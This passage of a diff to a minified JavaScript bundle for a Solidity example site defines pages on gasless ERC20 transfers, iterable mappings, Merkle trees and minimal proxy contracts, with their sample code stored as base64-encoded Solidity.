oKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3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HNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50ICsgZmVlLCBkZWFkbGluZSwgdiwgciwgcwogICAgICAgICk7CiAgICAgICAgLy8gU2VuZCBhbW91bnQgdG8gcmVjZWl2ZXIKICAgICAgICBJRVJDMjBQZXJtaXQodG9rZW4pLnRyYW5zZmVyRnJvbShzZW5kZXIsIHJlY2VpdmVyLCBhbW91bnQpOwogICAgICAgIC8vIFRha2UgZmVlIC0gc2VuZCBmZWUgdG8gbXNnLnNlbmRlcgogICAgICAgIElFUkMyMFBlcm1pdCh0b2tlbikudHJhbnNmZXJGcm9tKHNlbmRlciwgbXNnLnNlbmRlciwgZmVlKTsKICAgIH0KfQo="}],MA=`

            Gasless ERC20 token transfer with Meta transaction

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -2222,7 +2222,7 @@ How to swap tokens
                     _mint(to, amount);
                 }
             }
            -
            `,MA=({prev:s,next:a})=>r.jsx(A,{version:vA,title:RA,description:NA,cyfrinLink:HA,html:KA,prev:s,next:a,codes:FA}),SA="0.8.26",xA="Iterable Mapping",JA="Iterable Mapping in Solidity",zA="https://www.cyfrin.io/glossary/iterable-mapping-solidity-code-example",DA=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],EA=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            +`,SA=({prev:s,next:a})=>r.jsx(A,{version:vA,title:NA,description:HA,cyfrinLink:KA,html:MA,prev:s,next:a,codes:FA}),xA="0.8.26",JA="Iterable Mapping",zA="Iterable Mapping in Solidity",DA="https://www.cyfrin.io/glossary/iterable-mapping-solidity-code-example",EA=[{fileName:"IterableMapping.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgSXRlcmFibGVNYXBwaW5nIHsKICAgIC8vIEl0ZXJhYmxlIG1hcHBpbmcgZnJvbSBhZGRyZXNzIHRvIHVpbnQ7CiAgICBzdHJ1Y3QgTWFwIHsKICAgICAgICBhZGRyZXNzW10ga2V5czsKICAgICAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgdmFsdWVzOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBpbmRleE9mOwogICAgICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBpbnNlcnRlZDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXQoTWFwIHN0b3JhZ2UgbWFwLCBhZGRyZXNzIGtleSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAudmFsdWVzW2tleV07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0S2V5QXRJbmRleChNYXAgc3RvcmFnZSBtYXAsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgcmV0dXJuIG1hcC5rZXlzW2luZGV4XTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaXplKE1hcCBzdG9yYWdlIG1hcCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBtYXAua2V5cy5sZW5ndGg7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0KE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXksIHVpbnQyNTYgdmFsKSBwdWJsaWMgewogICAgICAgIGlmIChtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbWFwLmluc2VydGVkW2tleV0gPSB0cnVlOwogICAgICAgICAgICBtYXAudmFsdWVzW2tleV0gPSB2YWw7CiAgICAgICAgICAgIG1hcC5pbmRleE9mW2tleV0gPSBtYXAua2V5cy5sZW5ndGg7CiAgICAgICAgICAgIG1hcC5rZXlzLnB1c2goa2V5KTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gcmVtb3ZlKE1hcCBzdG9yYWdlIG1hcCwgYWRkcmVzcyBrZXkpIHB1YmxpYyB7CiAgICAgICAgaWYgKCFtYXAuaW5zZXJ0ZWRba2V5XSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBkZWxldGUgbWFwLmluc2VydGVkW2tleV07CiAgICAgICAgZGVsZXRlIG1hcC52YWx1ZXNba2V5XTsKCiAgICAgICAgdWludDI1NiBpbmRleCA9IG1hcC5pbmRleE9mW2tleV07CiAgICAgICAgYWRkcmVzcyBsYXN0S2V5ID0gbWFwLmtleXNbbWFwLmtleXMubGVuZ3RoIC0gMV07CgogICAgICAgIG1hcC5pbmRleE9mW2xhc3RLZXldID0gaW5kZXg7CiAgICAgICAgZGVsZXRlIG1hcC5pbmRleE9mW2tleV07CgogICAgICAgIG1hcC5rZXlzW2luZGV4XSA9IGxhc3RLZXk7CiAgICAgICAgbWFwLmtleXMucG9wKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RJdGVyYWJsZU1hcCB7CiAgICB1c2luZyBJdGVyYWJsZU1hcHBpbmcgZm9yIEl0ZXJhYmxlTWFwcGluZy5NYXA7CgogICAgSXRlcmFibGVNYXBwaW5nLk1hcCBwcml2YXRlIG1hcDsKCiAgICBmdW5jdGlvbiB0ZXN0SXRlcmFibGVNYXAoKSBwdWJsaWMgewogICAgICAgIG1hcC5zZXQoYWRkcmVzcygwKSwgMCk7CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDEpLCAxMDApOwogICAgICAgIG1hcC5zZXQoYWRkcmVzcygyKSwgMjAwKTsgLy8gaW5zZXJ0CiAgICAgICAgbWFwLnNldChhZGRyZXNzKDIpLCAyMDApOyAvLyB1cGRhdGUKICAgICAgICBtYXAuc2V0KGFkZHJlc3MoMyksIDMwMCk7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG1hcC5zaXplKCk7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIGtleSA9IG1hcC5nZXRLZXlBdEluZGV4KGkpOwogICAgICAgICAgICBhc3NlcnQobWFwLmdldChrZXkpID09IGkgKiAxMDApOwogICAgICAgIH0KCiAgICAgICAgbWFwLnJlbW92ZShhZGRyZXNzKDEpKTsKCiAgICAgICAgLy8ga2V5cyA9IFthZGRyZXNzKDApLCBhZGRyZXNzKDMpLCBhZGRyZXNzKDIpXQogICAgICAgIGFzc2VydChtYXAuc2l6ZSgpID09IDMpOwogICAgICAgIGFzc2VydChtYXAuZ2V0S2V5QXRJbmRleCgwKSA9PSBhZGRyZXNzKDApKTsKICAgICAgICBhc3NlcnQobWFwLmdldEtleUF0SW5kZXgoMSkgPT0gYWRkcmVzcygzKSk7CiAgICAgICAgYXNzZXJ0KG1hcC5nZXRLZXlBdEluZGV4KDIpID09IGFkZHJlc3MoMikpOwogICAgfQp9Cg=="}],QA=`

            You cannot iterate through a mapping. So here is an example of how to create an iterable mapping.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
             
            @@ -2307,7 +2307,7 @@ How to swap tokens
                     assert(map.getKeyAtIndex(2) == address(2));
                 }
             }
            -
            `,QA=({prev:s,next:a})=>r.jsx(A,{version:SA,title:xA,description:JA,cyfrinLink:zA,html:EA,prev:s,next:a,codes:DA}),TA="0.8.26",UA="Merkle Tree",_A="Learn about Merkle tree in Solidity",LA="https://www.cyfrin.io/glossary/merkle-tree-solidity-code-example",OA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],PA=`

            Merkle tree allows you to cryptographically prove that an element is contained

            +`,TA=({prev:s,next:a})=>r.jsx(A,{version:xA,title:JA,description:zA,cyfrinLink:DA,html:QA,prev:s,next:a,codes:EA}),UA="0.8.26",LA="Merkle Tree",_A="Learn about Merkle tree in Solidity",OA="https://www.cyfrin.io/glossary/merkle-tree-solidity-code-example",PA=[{fileName:"MerkleTree.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1lcmtsZVByb29mIHsKICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mLAogICAgICAgIGJ5dGVzMzIgcm9vdCwKICAgICAgICBieXRlczMyIGxlYWYsCiAgICAgICAgdWludDI1NiBpbmRleAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBoYXNoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgYnl0ZXMzMiBwcm9vZkVsZW1lbnQgPSBwcm9vZltpXTsKCiAgICAgICAgICAgIGlmIChpbmRleCAlIDIgPT0gMCkgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKGhhc2gsIHByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],$A=`

            Merkle tree allows you to cryptographically prove that an element is contained

            in a set without revealing the entire set.

            // SPDX-License-Identifier: MIT
             pragma solidity ^0.8.26;
            @@ -2385,7 +2385,7 @@ How to swap tokens
                 0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
                 */
             }
            -
            `,$A=({prev:s,next:a})=>r.jsx(A,{version:TA,title:UA,description:_A,cyfrinLink:LA,html:PA,prev:s,next:a,codes:OA}),qA="0.8.26",su="Minimal Proxy Contract",au="Deploy contracts cheaply with minimal proxy contract",nu="https://www.cyfrin.io/glossary/minimal-proxy-contract-solidity-code-example",lu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAy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gxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],pu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            +`,qA=({prev:s,next:a})=>r.jsx(A,{version:UA,title:LA,description:_A,cyfrinLink:OA,html:$A,prev:s,next:a,codes:PA}),su="0.8.26",au="Minimal Proxy Contract",nu="Deploy contracts cheaply with minimal proxy 